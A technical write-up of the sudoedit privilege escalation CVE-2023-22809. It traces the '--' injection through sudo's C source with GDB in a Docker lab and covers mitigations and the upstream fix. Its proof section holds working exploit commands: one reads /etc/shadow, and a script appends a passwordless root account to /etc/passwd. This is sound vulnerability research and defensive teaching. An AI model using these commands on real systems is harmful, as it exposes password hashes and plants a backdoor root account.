1. Introduction

If there is one binary that every Linux user has typed at least once, it’s sudo. It is so deeply embedded in the muscle memory of sysadmins and developers alike that most people don’t even think twice about it. But CVE-2023-22809, discovered by Matthieu Barjole and Victor Cutillas of Synacktiv, reminds us that even the most trusted tools can hide dangerous bugs.

This vulnerability is a privilege escalation in sudoedit (sudo’s built-in file editing mode). By injecting a -- separator into an environment variable like EDITOR, a local attacker can trick sudo into editing arbitrary files as root, even if the sudoers policy only permits editing a single, specific file.

The affected versions span from 1.8.0 through 1.9.12p1, which means this bug lived in the codebase for over a decade before it was caught. It was fixed in version 1.9.12p2 of sudo via commit 0274a4f by Todd C. Miller.

In this post, we will set up a vulnerable lab environment, follow the bug through the C source code, and use GDB at each step to confirm what sudo is doing at runtime.

2. Setup

2.1 Docker Lab

To reproduce this issue, we will build a Docker container that compiles sudo v1.9.5 from source with debug symbols, creating a controlled lab environment for reading the code and debugging it live.

Here is the Dockerfile:

FROM ubuntu:latest

ENV DEBIAN_FRONTEND=noninteractive

RUN apt-get update && apt-get install -y \
    build-essential \
    git \
    gdb \
    vim \
    libpam0g-dev \
    libssl-dev \
    pkg-config \
    autoconf \
    automake \
    libtool \
    bison \
    flex \
    gettext \
    && rm -rf /var/lib/apt/lists/*

RUN git clone https://github.com/sudo-project/sudo.git /opt/sudo

WORKDIR /opt/sudo
RUN git checkout SUDO_1_9_5

RUN CFLAGS="-g -O0" ./configure --prefix=/usr/local \
    && make \
    && make install

RUN ln -sf /usr/local/bin/sudo /usr/local/bin/sudoedit

RUN chmod 4755 /usr/local/bin/sudo

RUN useradd -m -s /bin/bash testuser \
    && echo "testuser:password123" | chpasswd

RUN mkdir -p /etc/custom \
    && printf "[service]\nname=example\nport=8080\nenabled=true\n" > /etc/custom/service.conf

RUN printf "root ALL=(ALL:ALL) ALL\ntestuser ALL=(ALL:ALL) sudoedit /etc/custom/service.conf\n" \
    > /etc/sudoers \
    && chown root:root /etc/sudoers \
    && chmod 0440 /etc/sudoers

ENTRYPOINT ["sleep", "infinity"]
Dockerfile

Note
  • We compile with CFLAGS="-g -O0" to include debug symbols and disable optimizations, which makes GDB output much more readable
  • The sudoers policy intentionally restricts testuser to only edit /etc/custom/service.conf via sudoedit

And the corresponding Docker Compose file:

version: '3.8'
services:
  sudo-lab:
    build:
      context: .
      dockerfile: Dockerfile
    container_name: sudo-lab
    stdin_open: true
    tty: true
    privileged: true
docker-compose.yml

2.2 Building and Verifying

Build and start the lab container:

$ docker compose up -d --build
Building and Starting the Lab Container

Verify that everything is in order:

$ docker exec sudo-lab /usr/local/bin/sudo --version
Sudo version 1.9.5
...

$ docker exec sudo-lab ls -la /usr/local/bin/sudo
-rwsr-xr-x 1 root root ... /usr/local/bin/sudo

$ docker exec sudo-lab gdb --version
GNU gdb (Ubuntu 15.1-1ubuntu1~24.04.1) 15.1
...
Verifying Sudo Version, Setuid Bit and GDB

The sudo binary is version 1.9.5, has the setuid bit set, and GDB is ready to go.

3. Bug Walkthrough

The easiest way to understand this bug is to follow one value as it moves through sudo:

EDITOR="vim -- /etc/passwd"
The Attacker-Controlled Input We Will Track

The sudoers rule only allows testuser to edit /etc/custom/service.conf. The question is: how does /etc/passwd sneak into the final file list anyway?

To follow the code, we will read a small piece of source, then immediately confirm the same state in GDB. Since sudo is a setuid binary, we run GDB as root inside the lab container.

3.1 Policy Check

Everything starts in plugins/sudoers/sudoers.c, inside sudoers_policy_main(). When the user runs sudoedit /etc/custom/service.conf, sudo first asks the sudoers policy engine whether that command is allowed:

331   int
332   sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
333       bool verbose, void *closure)
334   {
...
420       validated = sudoers_lookup(snl, sudo_user.pw, &cmnd_status, pwflag);
...
The Sudoers Policy Lookup

Let’s start following the code from here:

$ docker exec --user root -it sudo-lab bash -c \
'export EDITOR="vim -- /etc/passwd"; gdb -q /usr/local/bin/sudoedit'

(gdb) set pag off
(gdb) set confirm off
(gdb) set output-radix 16
(gdb) set breakpoint pending on
(gdb) b sudoers.c:421
(gdb) run /etc/custom/service.conf
GDB - Debugging Entry Point

As seen from the listing below, the value of validated is 0x2.

(gdb) p validated
$1 = 0x2
GDB - sudoers_lookup() Returned Success

According to plugins/sudoers/sudoers.h:152-154, this means that the validation is successful. In other words, the sudoers file says testuser may edit exactly that file, so the check succeeds.

...
152   #define VALIDATE_ERROR		0x001
153   #define VALIDATE_SUCCESS	0x002
154   #define VALIDATE_FAILURE	0x004
...
Return Codes for Validation in plugins/sudoers/sudoers.h

So far, nothing looks dangerous. The user asked to edit the allowed file, and sudo approved that request. The important detail comes later. After the policy check has already passed, sudo enters sudoedit mode and asks find_editor() to build the command that will actually run. Then, sudo replaces the old argument list with the newly built one:

331   int
332   sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
333       bool verbose, void *closure)
334   {
...
731       free(safe_cmnd);
732       safe_cmnd = find_editor(NewArgc - 1, NewArgv + 1, &edit_argc,
733       &edit_argv, NULL, &env_editor, false);
...
743       sudoers_gc_add(GC_VECTOR, edit_argv);
744       NewArgv = edit_argv;
745       NewArgc = edit_argc;
...
Sudo Rebuilds the Editor Command After the Policy Check

This is the core bug pattern: sudo checks one command, then later runs a command built from different input. This is often called a TOCTOU bug, short for “time of check, time of use.” In plain terms, the check and the later use do not agree on exactly what is being used.

3.2 Editor Input

The next stop is plugins/sudoers/editor.c. sudoedit lets users choose their editor with SUDO_EDITOR, VISUAL, or EDITOR:

213         *env_editor = NULL;
214         ev[0] = "SUDO_EDITOR";
215         ev[1] = "VISUAL";
216         ev[2] = "EDITOR";
The Editor Environment Variables Checked by sudoedit

The loop reads the first one that is set:

217         for (i = 0; i < nitems(ev); i++) {
218             char *editor = getenv(ev[i]);

220             if (editor != NULL && *editor != '\0') {
221                 *env_editor = editor;
222                 editor_path = resolve_editor(editor, strlen(editor),
223                     nfiles, files, argc_out, argv_out, allowlist);
The Environment Value Is Passed to resolve_editor()

If the attacker sets EDITOR="vim -- /etc/passwd", sudo passes that whole string into resolve_editor(). It also passes the one file that policy approved: /etc/custom/service.conf.

GDB confirms both values at this breakpoint:

(gdb) b editor.c:222
(gdb) condition 2 i == 2
(gdb) continue

(gdb) p editor
$2 = 0x7fff8ceb3fcd "vim -- /etc/passwd"

(gdb) p nfiles
$3 = 0x1

(gdb) p files[0]
$4 = 0x7fff8ceb3ee6 "/etc/custom/service.conf"
GDB - Editor String and Approved File

What this means: the approved file list is still clean, but the editor string already contains an extra file path. The rest of the bug is about how that extra path gets mistaken for a sudoedit target.

3.3 Rebuilt Arguments

Inside resolve_editor(), sudo splits the editor string into command-line pieces. An argv is just the array of strings a program receives as arguments. For example, vim -- /etc/passwd becomes separate strings: vim, --, and /etc/passwd.

The first split extracts the editor program:

132         /*
133          * Split editor into an argument vector, including files to edit.
134          * The EDITOR and VISUAL environment variables may contain command
135          * line args so look for those and alloc space for them too.
136          */
137         cp = wordsplit(ed, edend, &ep);
wordsplit() Starts Parsing the Editor String

Then sudo copies the remaining pieces into the new argv:

161         /* Fill in editor argv (assumes files[] is NULL-terminated). */
162         nargv[0] = editor;
163         editor = NULL;
164         for (nargc = 1; (cp = wordsplit(NULL, edend, &ep)) != NULL; nargc++) {
165             /* Copy string, collapsing chars escaped with a backslash. */
166             nargv[nargc] = copy_arg(cp, ep - cp);
167             if (nargv[nargc] == NULL)
168                 goto oom;
169         }
Editor Arguments Are Copied Without Rejecting --

After that, sudo appends its own separator and the policy-approved file:

170         if (nfiles != 0) {
171             nargv[nargc++] = "--";
172             while (nfiles--)
173                 nargv[nargc++] = *files++;
174         }
175         nargv[nargc] = NULL;
Sudo Appends the Real File Separator and Approved File

The problem is that -- has a special meaning later, but at this stage sudo treats the attacker-supplied -- as just another editor argument.

GDB shows the final argv built by resolve_editor():

(gdb) b editor.c:179
(gdb) continue

(gdb) printf "nargv[0] = \"%s\"\nnargv[1] = \"%s\"\nnargv[2] = \"%s\"\nnargv[3] = \"%s\"\nnargv[4] = \"%s\"\n", nargv[0], nargv[1], nargv[2], nargv[3], nargv[4]
nargv[0] = "vim"
nargv[1] = "--"
nargv[2] = "/etc/passwd"
nargv[3] = "--"          # <-- Added by sudo
nargv[4] = "/etc/custom/service.conf"
GDB - New argv After resolve_editor()

The command has changed shape:

Before parsing:  EDITOR="vim -- /etc/passwd"
After parsing:   vim -- /etc/passwd -- /etc/custom/service.conf
The Injected File Now Sits Before sudo’s Own Separator

This is where the bypass becomes visible. The policy approved only /etc/custom/service.conf, but the new argv also contains /etc/passwd.

3.4 First -- Wins

The poisoned argv reaches sudo_edit() in src/sudo_edit.c:

(gdb) b sudo_edit
(gdb) continue

(gdb) printf "command_details->argv contents:\n argv[0] = \"%s\"\n argv[1] = \"%s\"\n argv[2] = \"%s\"\n argv[3] = \"%s\"\n argv[4] = \"%s\"\n", command_details->argv[0], command_details->argv[1], command_details->argv[2], command_details->argv[3], command_details->argv[4]

command_details->argv contents:
 argv[0] = "vim"
 argv[1] = "--"
 argv[2] = "/etc/passwd"
 argv[3] = "--"
 argv[4] = "/etc/custom/service.conf"
GDB Shows the Poisoned argv Entering sudo_edit()

At this point, sudoedit needs to separate editor arguments from files to edit. It does that by scanning for --:

627   int
628   sudo_edit(struct command_details *command_details)
629   {
...
653       /*
654        * The user's editor must be separated from the files to be
655        * edited by a "--" option.
656        */
657       for (ap = command_details->argv; *ap != NULL; ap++) {
658           if (files)
659               nfiles++;
660           else if (strcmp(*ap, "--") == 0)
661               files = ap + 1;
662           else
663               editor_argc++;
664       }
...
sudo_edit() Looks for the First

This loop uses the first -- it sees. Everything after that becomes the file list.

For the poisoned argv, the loop behaves like this:

Step Argument Result
1 "vim" Still treated as the editor
2 "--" First separator found; files start at the next argument
3 "/etc/passwd" Counted as a file to edit
4 "--" Also counted as a file name
5 "/etc/custom/service.conf" Counted as a file to edit
How the First -- Reframes the File List

GDB confirms the result after the loop:

(gdb) b sudo_edit.c:665
(gdb) continue

(gdb) p nfiles
$5 = 0x3

(gdb) printf "files = { \"%s\", \"%s\", \"%s\" }\n", files[0], files[1], files[2]
files = { "/etc/passwd", "--", "/etc/custom/service.conf" }
GDB - /etc/passwd Is in the File List

What this means: sudoedit now believes there are three files to handle, with the first one being /etc/passwd, which was never approved by the sudoers policy.

3.5 Root File Handling

The final piece is privilege. sudo_edit() switches to root before preparing the files:

627   int
628   sudo_edit(struct command_details *command_details)
629   {
...
642       sudo_debug_printf(SUDO_DEBUG_INFO|SUDO_DEBUG_LINENO,
643           "setuid(%u)", ROOT_UID);
644       if (setuid(ROOT_UID) != 0) {
645           sudo_warn(U_("unable to change uid to root (%u)"), ROOT_UID);
646           goto cleanup;
647       }
...
sudoedit Switches to Root Before File Handling

Then it creates temporary copies of the files it believes the user is allowed to edit:

627   int
628   sudo_edit(struct command_details *command_details)
629   {
...
679       /* Copy editor files to temporaries. */
680       tf = calloc(nfiles, sizeof(*tf));
...
690       nfiles = sudo_edit_create_tfiles(command_details, tf, files, nfiles);
...
The Final File List Is Processed as Root

Because /etc/passwd is now in that final list, sudoedit opens it with root privileges, copies it to a temporary file, lets the editor modify it, and writes changes back.

At this point, the bug is no longer just an argument parsing issue. sudo has turned an unapproved path from EDITOR into a file it will process as root.

3.6 Exploit Proof

Let us confirm the exploit works end-to-end. Using cat as the “editor”, we can read /etc/shadow through a user that should only be able to edit /etc/custom/service.conf:

$ docker exec --user testuser -it sudo-lab bash
testuser@b91d1bd91442:/opt/sudo$ EDITOR="cat -- /etc/shadow" sudoedit /etc/custom/service.conf
Reading /etc/shadow via sudoedit Bypass

root:*:20553:0:99999:7:::
daemon:*:20553:0:99999:7:::
bin:*:20553:0:99999:7:::
sys:*:20553:0:99999:7:::
...
testuser:$y$j9T$YJX7SkajXeiGS4IHAVEVk.$mkVtvoqi/JqYNngdT67Umh...:20564:0:99999:7:::
[service]
name=example
port=8080
enabled=true
sudoedit: /etc/shadow unchanged
sudoedit: -- unchanged
sudoedit: /etc/custom/service.conf unchanged
Contents of /etc/shadow Dumped by testuser

testuser cannot read /etc/shadow directly, yet by abusing the -- injection, sudoedit copies the file to a temp location as root and runs the “editor” (cat) on it, printing its full contents including password hashes.

To take this further, we can inject a passwordless root user into /etc/passwd:

testuser@b91d1bd91442:/opt/sudo$ cat > /tmp/evil_editor.sh << "EOF"
#!/bin/bash
echo "hacked::0:0:hacked:/root:/bin/bash" >> "$1"
EOF

testuser@b91d1bd91442:/opt/sudo$ chmod +x /tmp/evil_editor.sh
testuser@b91d1bd91442:/opt/sudo$ EDITOR="/tmp/evil_editor.sh -- /etc/passwd" sudoedit /etc/custom/service.conf
testuser@b91d1bd91442:/opt/sudo$ cat /etc/passwd
...
testuser:x:1001:1001::/home/testuser:/bin/bash
hacked::0:0:hacked:/root:/bin/bash
Injecting a Root User into /etc/passwd

testuser@b91d1bd91442:/opt/sudo$ su hacked
root@b91d1bd91442:/opt/sudo$ whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
Root Shell as the Injected User

4. Mitigations

The root cause is that resolve_editor() at plugins/sudoers/editor.c:164-169 never checks whether the user-supplied editor arguments contain --. There are two ways to address this.

4.1 Workaround: Strip Editor Environment Variables

If upgrading immediately is not an option, add the affected environment variables to the env_delete deny list when using sudoedit:

Defaults!SUDOEDIT    env_delete+="SUDO_EDITOR VISUAL EDITOR"
Cmnd_Alias SUDOEDIT = sudoedit /etc/custom/service.conf
testuser ALL=(ALL:ALL) SUDOEDIT
Sudoers Workaround

This prevents the user-controlled environment variables from reaching find_editor() entirely.

4.2 Upgrade to sudo >= 1.9.12p2

The proper fix, applied in commit 0274a4f, adds a check in resolve_editor() to reject -- as an editor argument:

164         for (nargc = 1; (cp = wordsplit(NULL, edend, &ep)) != NULL; nargc++) {
165             nargv[nargc] = copy_arg(cp, ep - cp);
166             if (nargv[nargc] == NULL)
167                 goto oom;
168
169             if (strcmp(nargv[nargc], "--") == 0) {
170                 sudo_warnx(U_("ignoring editor: %.*s"), (int)edlen, ed);
171                 sudo_warnx("%s", U_("editor arguments may not contain \"--\""));
172                 errno = EINVAL;
173                 goto bad;
174             }
175         }
The Fix in sudo 1.9.12p2 (editor.c, Lines 164-175)

The fix checks each token produced by wordsplit() and rejects the editor entirely if any argument equals --, returning an EINVAL error before the poisoned argv can be constructed.

5. Conclusion

A user-controlled environment variable, a missing input validation check, and a first-match -- parser combined to create a decade-old privilege escalation in one of the most widely deployed binaries on Linux.

The vulnerability boils down to two contributing factors:

  • No sanitization of -- in editor environment variables
    • resolve_editor() at plugins/sudoers/editor.c:164-169 treats -- as just another argument token
  • TOCTOU gap between policy validation and command construction
    • The sudoers policy validates the original file list at plugins/sudoers/sudoers.c:420
    • But find_editor() at plugins/sudoers/sudoers.c:732 constructs a new argv that can include unauthorized files, with no re-validation

6. References

  1. Synacktiv advisory: https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf
  2. NVD - CVE-2023-22809: https://nvd.nist.gov/vuln/detail/CVE-2023-22809
  3. Fix commit: https://github.com/sudo-project/sudo/commit/0274a4f3b403162a37a10f199c989f3727ed3ad4
  4. Sudo project: https://github.com/sudo-project/sudo
  5. Sudo official website: https://www.sudo.ws/

7. Resources

  1. Dockerfile
  2. docker-compose.yml